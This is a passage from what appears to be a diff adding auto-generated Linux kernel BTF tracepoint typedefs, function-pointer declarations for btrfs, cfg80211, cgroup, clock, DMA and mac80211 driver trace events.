inode *); + +typedef void (*btf_trace_btrfs_insert_one_raid_extent)(void *, const struct btrfs_fs_info *, u64, u64, int); + +typedef void (*btf_trace_btrfs_ordered_extent_add)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_dec_test_pending)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_lookup)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_lookup_first)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_lookup_first_range)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_lookup_for_logging)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_lookup_range)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_mark_finished)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_put)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_remove)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_split)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_extent_start)(void *, const struct btrfs_inode *, const struct btrfs_ordered_extent *); + +typedef void (*btf_trace_btrfs_ordered_sched)(void *, const struct btrfs_work *); + +typedef void (*btf_trace_btrfs_prelim_ref_insert)(void *, const struct btrfs_fs_info *, const struct prelim_ref *, const struct prelim_ref *, u64); + +typedef void (*btf_trace_btrfs_prelim_ref_merge)(void *, const struct btrfs_fs_info *, const struct prelim_ref *, const struct prelim_ref *, u64); + +typedef void (*btf_trace_btrfs_qgroup_account_extent)(void *, const struct btrfs_fs_info *, u64, u64, u64, u64, u64); + +typedef void (*btf_trace_btrfs_qgroup_account_extents)(void *, const struct btrfs_fs_info *, const struct btrfs_qgroup_extent_record *); + +typedef void (*btf_trace_btrfs_qgroup_release_data)(void *, const struct inode *, u64, u64, u64, int); + +typedef void (*btf_trace_btrfs_qgroup_reserve_data)(void *, const struct inode *, u64, u64, u64, int); + +typedef void (*btf_trace_btrfs_qgroup_trace_extent)(void *, const struct btrfs_fs_info *, const struct btrfs_qgroup_extent_record *); + +typedef void (*btf_trace_btrfs_raid_extent_delete)(void *, const struct btrfs_fs_info *, u64, u64, u64, u64); + +typedef void (*btf_trace_btrfs_reclaim_block_group)(void *, const struct btrfs_block_group *); + +typedef void (*btf_trace_btrfs_remove_block_group)(void *, const struct btrfs_block_group *); + +typedef void (*btf_trace_btrfs_reserve_extent)(void *, const struct btrfs_block_group *, const struct find_free_extent_ctl *); + +typedef void (*btf_trace_btrfs_reserve_extent_cluster)(void *, const struct btrfs_block_group *, const struct find_free_extent_ctl *); + +typedef void (*btf_trace_btrfs_reserve_ticket)(void *, const struct btrfs_fs_info *, u64, u64, u64, int, int); + +typedef void (*btf_trace_btrfs_reserved_extent_alloc)(void *, const struct btrfs_fs_info *, u64, u64); + +typedef void (*btf_trace_btrfs_reserved_extent_free)(void *, const struct btrfs_fs_info *, u64, u64); + +typedef void (*btf_trace_btrfs_set_extent_bit)(void *, const struct extent_io_tree *, u64, u64, unsigned int); + +typedef void (*btf_trace_btrfs_set_lock_blocking_read)(void *, const struct extent_buffer *); + +typedef void (*btf_trace_btrfs_set_lock_blocking_write)(void *, const struct extent_buffer *); + +typedef void (*btf_trace_btrfs_setup_cluster)(void *, const struct btrfs_block_group *, const struct btrfs_free_cluster *, u64, int); + +typedef void (*btf_trace_btrfs_skip_unused_block_group)(void *, const struct btrfs_block_group *); + +typedef void (*btf_trace_btrfs_space_reservation)(void *, const struct btrfs_fs_info *, const char *, u64, u64, int); + +typedef void (*btf_trace_btrfs_sync_file)(void *, const struct file *, int); + +typedef void (*btf_trace_btrfs_sync_fs)(void *, const struct btrfs_fs_info *, int); + +typedef void (*btf_trace_btrfs_transaction_commit)(void *, const struct btrfs_fs_info *); + +typedef void (*btf_trace_btrfs_tree_lock)(void *, const struct extent_buffer *, u64); + +typedef void (*btf_trace_btrfs_tree_read_lock)(void *, const struct extent_buffer *, u64); + +typedef void (*btf_trace_btrfs_tree_read_lock_atomic)(void *, const struct extent_buffer *); + +typedef void (*btf_trace_btrfs_tree_read_unlock)(void *, const struct extent_buffer *); + +typedef void (*btf_trace_btrfs_tree_read_unlock_blocking)(void *, const struct extent_buffer *); + +typedef void (*btf_trace_btrfs_tree_unlock)(void *, const struct extent_buffer *); + +typedef void (*btf_trace_btrfs_trigger_flush)(void *, const struct btrfs_fs_info *, u64, u64, int, const char *); + +typedef void (*btf_trace_btrfs_truncate_show_fi_inline)(void *, const struct btrfs_inode *, const struct extent_buffer *, const struct btrfs_file_extent_item *, int, u64); + +typedef void (*btf_trace_btrfs_truncate_show_fi_regular)(void *, const struct btrfs_inode *, const struct extent_buffer *, const struct btrfs_file_extent_item *, u64); + +typedef void (*btf_trace_btrfs_try_tree_read_lock)(void *, const struct extent_buffer *); + +typedef void (*btf_trace_btrfs_try_tree_write_lock)(void *, const struct extent_buffer *); + +typedef void (*btf_trace_btrfs_work_queued)(void *, const struct btrfs_work *); + +typedef void (*btf_trace_btrfs_work_sched)(void *, const struct btrfs_work *); + +typedef void (*btf_trace_btrfs_workqueue_alloc)(void *, const struct btrfs_workqueue *, const char *); + +typedef void (*btf_trace_btrfs_workqueue_destroy)(void *, const struct btrfs_workqueue *); + +typedef void (*btf_trace_btrfs_writepage_end_io_hook)(void *, const struct btrfs_inode *, u64, u64, int); + +typedef void (*btf_trace_call_function_entry)(void *, int); + +typedef void (*btf_trace_call_function_exit)(void *, int); + +typedef void (*btf_trace_call_function_single_entry)(void *, int); + +typedef void (*btf_trace_call_function_single_exit)(void *, int); + +typedef void (*btf_trace_cdev_update)(void *, struct thermal_cooling_device *, unsigned long); + +typedef void (*btf_trace_cfg80211_assoc_comeback)(void *, struct wireless_dev *, const u8 *, u32); + +typedef void (*btf_trace_cfg80211_bss_color_notify)(void *, struct net_device *, enum nl80211_commands, u8, u64); + +typedef void (*btf_trace_cfg80211_cac_event)(void *, struct net_device *, enum nl80211_radar_event, unsigned int); + +typedef void (*btf_trace_cfg80211_ch_switch_notify)(void *, struct net_device *, struct cfg80211_chan_def *, unsigned int); + +typedef void (*btf_trace_cfg80211_ch_switch_started_notify)(void *, struct net_device *, struct cfg80211_chan_def *, unsigned int); + +typedef void (*btf_trace_cfg80211_chandef_dfs_required)(void *, struct wiphy *, struct cfg80211_chan_def *); + +typedef void (*btf_trace_cfg80211_control_port_tx_status)(void *, struct wireless_dev *, u64, bool); + +typedef void (*btf_trace_cfg80211_cqm_pktloss_notify)(void *, struct net_device *, const u8 *, u32); + +typedef void (*btf_trace_cfg80211_cqm_rssi_notify)(void *, struct net_device *, enum nl80211_cqm_rssi_threshold_event, s32); + +typedef void (*btf_trace_cfg80211_del_sta)(void *, struct net_device *, const u8 *); + +typedef void (*btf_trace_cfg80211_ft_event)(void *, struct wiphy *, struct net_device *, struct cfg80211_ft_event_params *); + +typedef void (*btf_trace_cfg80211_get_bss)(void *, struct wiphy *, struct ieee80211_channel *, const u8 *, const u8 *, size_t, enum ieee80211_bss_type, enum ieee80211_privacy); + +typedef void (*btf_trace_cfg80211_gtk_rekey_notify)(void *, struct net_device *, const u8 *); + +typedef void (*btf_trace_cfg80211_ibss_joined)(void *, struct net_device *, const u8 *, struct ieee80211_channel *); + +typedef void (*btf_trace_cfg80211_inform_bss_frame)(void *, struct wiphy *, struct cfg80211_inform_bss *, struct ieee80211_mgmt *, size_t); + +typedef void (*btf_trace_cfg80211_links_removed)(void *, struct net_device *, u16); + +typedef void (*btf_trace_cfg80211_mgmt_tx_status)(void *, struct wireless_dev *, u64, bool); + +typedef void (*btf_trace_cfg80211_michael_mic_failure)(void *, struct net_device *, const u8 *, enum nl80211_key_type, int, const u8 *); + +typedef void (*btf_trace_cfg80211_new_sta)(void *, struct net_device *, const u8 *, struct station_info *); + +typedef void (*btf_trace_cfg80211_notify_new_peer_candidate)(void *, struct net_device *, const u8 *); + +typedef void (*btf_trace_cfg80211_pmksa_candidate_notify)(void *, struct net_device *, int, const u8 *, bool); + +typedef void (*btf_trace_cfg80211_pmsr_complete)(void *, struct wiphy *, struct wireless_dev *, u64); + +typedef void (*btf_trace_cfg80211_pmsr_report)(void *, struct wiphy *, struct wireless_dev *, u64, const u8 *); + +typedef void (*btf_trace_cfg80211_probe_status)(void *, struct net_device *, const u8 *, u64, bool); + +typedef void (*btf_trace_cfg80211_radar_event)(void *, struct wiphy *, struct cfg80211_chan_def *, bool); + +typedef void (*btf_trace_cfg80211_ready_on_channel)(void *, struct wireless_dev *, u64, struct ieee80211_channel *, unsigned int); + +typedef void (*btf_trace_cfg80211_ready_on_channel_expired)(void *, struct wireless_dev *, u64, struct ieee80211_channel *); + +typedef void (*btf_trace_cfg80211_reg_can_beacon)(void *, struct wiphy *, struct cfg80211_chan_def *, enum nl80211_iftype, u32, u32); + +typedef void (*btf_trace_cfg80211_report_obss_beacon)(void *, struct wiphy *, const u8 *, size_t, int, int); + +typedef void (*btf_trace_cfg80211_report_wowlan_wakeup)(void *, struct wiphy *, struct wireless_dev *, struct cfg80211_wowlan_wakeup *); + +typedef void (*btf_trace_cfg80211_return_bool)(void *, bool); + +typedef void (*btf_trace_cfg80211_return_bss)(void *, struct cfg80211_bss *); + +typedef void (*btf_trace_cfg80211_return_u32)(void *, u32); + +typedef void (*btf_trace_cfg80211_return_uint)(void *, unsigned int); + +typedef void (*btf_trace_cfg80211_rx_control_port)(void *, struct net_device *, struct sk_buff *, bool, int); + +typedef void (*btf_trace_cfg80211_rx_mgmt)(void *, struct wireless_dev *, struct cfg80211_rx_info *); + +typedef void (*btf_trace_cfg80211_rx_mlme_mgmt)(void *, struct net_device *, const u8 *, int); + +typedef void (*btf_trace_cfg80211_rx_spurious_frame)(void *, struct net_device *, const u8 *); + +typedef void (*btf_trace_cfg80211_rx_unexpected_4addr_frame)(void *, struct net_device *, const u8 *); + +typedef void (*btf_trace_cfg80211_rx_unprot_mlme_mgmt)(void *, struct net_device *, const u8 *, int); + +typedef void (*btf_trace_cfg80211_scan_done)(void *, struct cfg80211_scan_request *, struct cfg80211_scan_info *); + +typedef void (*btf_trace_cfg80211_sched_scan_results)(void *, struct wiphy *, u64); + +typedef void (*btf_trace_cfg80211_sched_scan_stopped)(void *, struct wiphy *, u64); + +typedef void (*btf_trace_cfg80211_send_assoc_failure)(void *, struct net_device *, struct cfg80211_assoc_failure *); + +typedef void (*btf_trace_cfg80211_send_auth_timeout)(void *, struct net_device *, const u8 *); + +typedef void (*btf_trace_cfg80211_send_rx_assoc)(void *, struct net_device *, const struct cfg80211_rx_assoc_resp_data *); + +typedef void (*btf_trace_cfg80211_send_rx_auth)(void *, struct net_device *); + +typedef void (*btf_trace_cfg80211_stop_iface)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_cfg80211_tdls_oper_request)(void *, struct wiphy *, struct net_device *, const u8 *, enum nl80211_tdls_operation, u16); + +typedef void (*btf_trace_cfg80211_tx_mgmt_expired)(void *, struct wireless_dev *, u64, struct ieee80211_channel *); + +typedef void (*btf_trace_cfg80211_tx_mlme_mgmt)(void *, struct net_device *, const u8 *, int, bool); + +typedef void (*btf_trace_cfg80211_update_owe_info_event)(void *, struct wiphy *, struct net_device *, struct cfg80211_update_owe_info *); + +typedef void (*btf_trace_cgroup_attach_task)(void *, struct cgroup *, const char *, struct task_struct *, bool); + +typedef void (*btf_trace_cgroup_destroy_root)(void *, struct cgroup_root *); + +typedef void (*btf_trace_cgroup_freeze)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_mkdir)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_notify_frozen)(void *, struct cgroup *, const char *, int); + +typedef void (*btf_trace_cgroup_notify_populated)(void *, struct cgroup *, const char *, int); + +typedef void (*btf_trace_cgroup_release)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_remount)(void *, struct cgroup_root *); + +typedef void (*btf_trace_cgroup_rename)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_rmdir)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_cgroup_rstat_cpu_lock_contended)(void *, struct cgroup *, int, bool); + +typedef void (*btf_trace_cgroup_rstat_cpu_lock_contended_fastpath)(void *, struct cgroup *, int, bool); + +typedef void (*btf_trace_cgroup_rstat_cpu_locked)(void *, struct cgroup *, int, bool); + +typedef void (*btf_trace_cgroup_rstat_cpu_locked_fastpath)(void *, struct cgroup *, int, bool); + +typedef void (*btf_trace_cgroup_rstat_cpu_unlock)(void *, struct cgroup *, int, bool); + +typedef void (*btf_trace_cgroup_rstat_cpu_unlock_fastpath)(void *, struct cgroup *, int, bool); + +typedef void (*btf_trace_cgroup_rstat_lock_contended)(void *, struct cgroup *, int, bool); + +typedef void (*btf_trace_cgroup_rstat_locked)(void *, struct cgroup *, int, bool); + +typedef void (*btf_trace_cgroup_rstat_unlock)(void *, struct cgroup *, int, bool); + +typedef void (*btf_trace_cgroup_setup_root)(void *, struct cgroup_root *); + +typedef void (*btf_trace_cgroup_transfer_tasks)(void *, struct cgroup *, const char *, struct task_struct *, bool); + +typedef void (*btf_trace_cgroup_unfreeze)(void *, struct cgroup *, const char *); + +typedef void (*btf_trace_clk_disable)(void *, struct clk_core *); + +typedef void (*btf_trace_clk_disable_complete)(void *, struct clk_core *); + +typedef void (*btf_trace_clk_enable)(void *, struct clk_core *); + +typedef void (*btf_trace_clk_enable_complete)(void *, struct clk_core *); + +typedef void (*btf_trace_clk_prepare)(void *, struct clk_core *); + +typedef void (*btf_trace_clk_prepare_complete)(void *, struct clk_core *); + +typedef void (*btf_trace_clk_rate_request_done)(void *, struct clk_rate_request *); + +typedef void (*btf_trace_clk_rate_request_start)(void *, struct clk_rate_request *); + +typedef void (*btf_trace_clk_set_duty_cycle)(void *, struct clk_core *, struct clk_duty *); + +typedef void (*btf_trace_clk_set_duty_cycle_complete)(void *, struct clk_core *, struct clk_duty *); + +typedef void (*btf_trace_clk_set_max_rate)(void *, struct clk_core *, unsigned long); + +typedef void (*btf_trace_clk_set_min_rate)(void *, struct clk_core *, unsigned long); + +typedef void (*btf_trace_clk_set_parent)(void *, struct clk_core *, struct clk_core *); + +typedef void (*btf_trace_clk_set_parent_complete)(void *, struct clk_core *, struct clk_core *); + +typedef void (*btf_trace_clk_set_phase)(void *, struct clk_core *, int); + +typedef void (*btf_trace_clk_set_phase_complete)(void *, struct clk_core *, int); + +typedef void (*btf_trace_clk_set_rate)(void *, struct clk_core *, unsigned long); + +typedef void (*btf_trace_clk_set_rate_complete)(void *, struct clk_core *, unsigned long); + +typedef void (*btf_trace_clk_set_rate_range)(void *, struct clk_core *, unsigned long, unsigned long); + +typedef void (*btf_trace_clk_unprepare)(void *, struct clk_core *); + +typedef void (*btf_trace_clk_unprepare_complete)(void *, struct clk_core *); + +typedef void (*btf_trace_clock_disable)(void *, const char *, unsigned int, unsigned int); + +typedef void (*btf_trace_clock_enable)(void *, const char *, unsigned int, unsigned int); + +typedef void (*btf_trace_clock_set_rate)(void *, const char *, unsigned int, unsigned int); + +typedef void (*btf_trace_compact_retry)(void *, int, enum compact_priority, enum compact_result, int, int, bool); + +typedef void (*btf_trace_console)(void *, const char *, size_t); + +typedef void (*btf_trace_consume_skb)(void *, struct sk_buff *, void *); + +typedef void (*btf_trace_contention_begin)(void *, void *, unsigned int); + +typedef void (*btf_trace_contention_end)(void *, void *, int); + +typedef void (*btf_trace_cpu_frequency)(void *, unsigned int, unsigned int); + +typedef void (*btf_trace_cpu_frequency_limits)(void *, struct cpufreq_policy *); + +typedef void (*btf_trace_cpu_idle)(void *, unsigned int, unsigned int); + +typedef void (*btf_trace_cpu_idle_miss)(void *, unsigned int, unsigned int, bool); + +typedef void (*btf_trace_cpuhp_enter)(void *, unsigned int, int, int, int (*)(unsigned int)); + +typedef void (*btf_trace_cpuhp_exit)(void *, unsigned int, int, int, int); + +typedef void (*btf_trace_cpuhp_multi_enter)(void *, unsigned int, int, int, int (*)(unsigned int, struct hlist_node *), struct hlist_node *); + +typedef void (*btf_trace_csd_function_entry)(void *, smp_call_func_t, call_single_data_t *); + +typedef void (*btf_trace_csd_function_exit)(void *, smp_call_func_t, call_single_data_t *); + +typedef void (*btf_trace_csd_queue_cpu)(void *, const unsigned int, unsigned long, smp_call_func_t, call_single_data_t *); + +typedef void (*btf_trace_dev_pm_qos_add_request)(void *, const char *, enum dev_pm_qos_req_type, s32); + +typedef void (*btf_trace_dev_pm_qos_remove_request)(void *, const char *, enum dev_pm_qos_req_type, s32); + +typedef void (*btf_trace_dev_pm_qos_update_request)(void *, const char *, enum dev_pm_qos_req_type, s32); + +typedef void (*btf_trace_device_pm_callback_end)(void *, struct device *, int); + +typedef void (*btf_trace_device_pm_callback_start)(void *, struct device *, const char *, int); + +typedef void (*btf_trace_devres_log)(void *, struct device *, const char *, void *, const char *, size_t); + +typedef void (*btf_trace_dma_alloc)(void *, struct device *, void *, dma_addr_t, size_t, gfp_t, unsigned long); + +typedef void (*btf_trace_dma_fence_destroy)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_emit)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_enable_signal)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_init)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_signaled)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_wait_end)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_fence_wait_start)(void *, struct dma_fence *); + +typedef void (*btf_trace_dma_free)(void *, struct device *, void *, dma_addr_t, size_t, unsigned long); + +typedef void (*btf_trace_dma_map_page)(void *, struct device *, phys_addr_t, dma_addr_t, size_t, enum dma_data_direction, unsigned long); + +typedef void (*btf_trace_dma_map_resource)(void *, struct device *, phys_addr_t, dma_addr_t, size_t, enum dma_data_direction, unsigned long); + +typedef void (*btf_trace_dma_map_sg)(void *, struct device *, struct scatterlist *, int, int, enum dma_data_direction, unsigned long); + +typedef void (*btf_trace_dma_sync_sg_for_cpu)(void *, struct device *, struct scatterlist *, int, enum dma_data_direction); + +typedef void (*btf_trace_dma_sync_sg_for_device)(void *, struct device *, struct scatterlist *, int, enum dma_data_direction); + +typedef void (*btf_trace_dma_sync_single_for_cpu)(void *, struct device *, dma_addr_t, size_t, enum dma_data_direction); + +typedef void (*btf_trace_dma_sync_single_for_device)(void *, struct device *, dma_addr_t, size_t, enum dma_data_direction); + +typedef void (*btf_trace_dma_unmap_page)(void *, struct device *, dma_addr_t, size_t, enum dma_data_direction, unsigned long); + +typedef void (*btf_trace_dma_unmap_resource)(void *, struct device *, dma_addr_t, size_t, enum dma_data_direction, unsigned long); + +typedef void (*btf_trace_dma_unmap_sg)(void *, struct device *, struct scatterlist *, int, enum dma_data_direction, unsigned long); + +typedef void (*btf_trace_dql_stall_detected)(void *, unsigned short, unsigned int, unsigned long, unsigned long, unsigned long, unsigned long *); + +typedef void (*btf_trace_drv_abort_channel_switch)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_abort_pmsr)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_add_chanctx)(void *, struct ieee80211_local *, struct ieee80211_chanctx *); + +typedef void (*btf_trace_drv_add_interface)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_add_nan_func)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, const struct cfg80211_nan_func *); + +typedef void (*btf_trace_drv_add_twt_setup)(void *, struct ieee80211_local *, struct ieee80211_sta *, struct ieee80211_twt_setup *, struct ieee80211_twt_params *); + +typedef void (*btf_trace_drv_allow_buffered_frames)(void *, struct ieee80211_local *, struct ieee80211_sta *, u16, int, enum ieee80211_frame_release_type, bool); + +typedef void (*btf_trace_drv_ampdu_action)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_ampdu_params *); + +typedef void (*btf_trace_drv_assign_vif_chanctx)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_bss_conf *, struct ieee80211_chanctx *); + +typedef void (*btf_trace_drv_can_activate_links)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, u16); + +typedef void (*btf_trace_drv_can_neg_ttlm)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_neg_ttlm *); + +typedef void (*btf_trace_drv_cancel_hw_scan)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_cancel_remain_on_channel)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_change_chanctx)(void *, struct ieee80211_local *, struct ieee80211_chanctx *, u32); + +typedef void (*btf_trace_drv_change_interface)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, enum nl80211_iftype, bool); + +typedef void (*btf_trace_drv_change_sta_links)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *, u16, u16); + +typedef void (*btf_trace_drv_change_vif_links)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, u16, u16); + +typedef void (*btf_trace_drv_channel_switch)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_channel_switch *); + +typedef void (*btf_trace_drv_channel_switch_beacon)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct cfg80211_chan_def *); + +typedef void (*btf_trace_drv_channel_switch_rx_beacon)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_channel_switch *); + +typedef void (*btf_trace_drv_conf_tx)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, unsigned int, u16, const struct ieee80211_tx_queue_params *); + +typedef void (*btf_trace_drv_config)(void *, struct ieee80211_local *, u32); + +typedef void (*btf_trace_drv_config_iface_filter)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, unsigned int, unsigned int); + +typedef void (*btf_trace_drv_configure_filter)(void *, struct ieee80211_local *, unsigned int, unsigned int *, u64); + +typedef void (*btf_trace_drv_del_nan_func)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, u8); + +typedef void (*btf_trace_drv_event_callback)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, const struct ieee80211_event *); + +typedef void (*btf_trace_drv_flush)(void *, struct ieee80211_local *, u32, bool); + +typedef void (*btf_trace_drv_flush_sta)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_get_antenna)(void *, struct ieee80211_local *, u32, u32, int); + +typedef void (*btf_trace_drv_get_et_sset_count)(void *, struct ieee80211_local *, u32); + +typedef void (*btf_trace_drv_get_et_stats)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_drv_get_et_strings)(void *, struct ieee80211_local *, u32); + +typedef void (*btf_trace_drv_get_expected_throughput)(void *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_get_ftm_responder_stats)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct cfg80211_ftm_responder_stats *); + +typedef void (*btf_trace_drv_get_key_seq)(void *, struct ieee80211_local *, struct ieee80211_key_conf *); + +typedef void (*btf_trace_drv_get_ringparam)(void *, struct ieee80211_local *, u32 *, u32 *, u32 *, u32 *); + +typedef void (*btf_trace_drv_get_stats)(void *, struct ieee80211_local *, struct ieee80211_low_level_stats *, int); + +typedef void (*btf_trace_drv_get_survey)(void *, struct ieee80211_local *, int, struct survey_info *); + +typedef void (*btf_trace_drv_get_tsf)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_get_txpower)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, int, int); + +typedef void (*btf_trace_drv_hw_scan)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_ipv6_addr_change)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_join_ibss)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_bss_conf *); + +typedef void (*btf_trace_drv_leave_ibss)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_link_info_changed)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_bss_conf *, u64); + +typedef void (*btf_trace_drv_mgd_complete_tx)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, u16, u16, bool); + +typedef void (*btf_trace_drv_mgd_prepare_tx)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, u16, u16, bool); + +typedef void (*btf_trace_drv_mgd_protect_tdls_discover)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_nan_change_conf)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct cfg80211_nan_conf *, u32); + +typedef void (*btf_trace_drv_neg_ttlm_res)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, enum ieee80211_neg_ttlm_res, struct ieee80211_neg_ttlm *); + +typedef void (*btf_trace_drv_net_fill_forward_path)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_net_setup_tc)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, u8); + +typedef void (*btf_trace_drv_offchannel_tx_cancel_wait)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_drv_offset_tsf)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, s64); + +typedef void (*btf_trace_drv_post_channel_switch)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_pre_channel_switch)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_channel_switch *); + +typedef void (*btf_trace_drv_prepare_multicast)(void *, struct ieee80211_local *, int); + +typedef void (*btf_trace_drv_reconfig_complete)(void *, struct ieee80211_local *, enum ieee80211_reconfig_type); + +typedef void (*btf_trace_drv_release_buffered_frames)(void *, struct ieee80211_local *, struct ieee80211_sta *, u16, int, enum ieee80211_frame_release_type, bool); + +typedef void (*btf_trace_drv_remain_on_channel)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_channel *, unsigned int, enum ieee80211_roc_type); + +typedef void (*btf_trace_drv_remove_chanctx)(void *, struct ieee80211_local *, struct ieee80211_chanctx *); + +typedef void (*btf_trace_drv_remove_interface)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_reset_tsf)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_resume)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_drv_return_bool)(void *, struct ieee80211_local *, bool); + +typedef void (*btf_trace_drv_return_int)(void *, struct ieee80211_local *, int); + +typedef void (*btf_trace_drv_return_u32)(void *, struct ieee80211_local *, u32); + +typedef void (*btf_trace_drv_return_u64)(void *, struct ieee80211_local *, u64); + +typedef void (*btf_trace_drv_return_void)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_drv_sched_scan_start)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_sched_scan_stop)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_drv_set_antenna)(void *, struct ieee80211_local *, u32, u32, int); + +typedef void (*btf_trace_drv_set_bitrate_mask)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, const struct cfg80211_bitrate_mask *); + +typedef void (*btf_trace_drv_set_coverage_class)(void *, struct ieee80211_local *, s16); + +typedef void (*btf_trace_drv_set_default_unicast_key)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, int); + +typedef void (*btf_trace_drv_set_frag_threshold)(void *, struct ieee80211_local *, u32); + +typedef void (*btf_trace_drv_set_key)(void *, struct ieee80211_local *, enum set_key_cmd, struct ieee80211_sub_if_data *, struct ieee80211_sta *, struct ieee80211_key_conf *); + +typedef void (*btf_trace_drv_set_rekey_data)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct cfg80211_gtk_rekey_data *); + +typedef void (*btf_trace_drv_set_ringparam)(void *, struct ieee80211_local *, u32, u32); + +typedef void (*btf_trace_drv_set_rts_threshold)(void *, struct ieee80211_local *, u32); + +typedef void (*btf_trace_drv_set_tim)(void *, struct ieee80211_local *, struct ieee80211_sta *, bool); + +typedef void (*btf_trace_drv_set_tsf)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, u64); + +typedef void (*btf_trace_drv_set_wakeup)(void *, struct ieee80211_local *, bool); + +typedef void (*btf_trace_drv_sta_add)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_sta_notify)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, enum sta_notify_cmd, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_sta_pre_rcu_remove)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void (*btf_trace_drv_sta_rate_tbl_update)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_sta *); + +typedef void 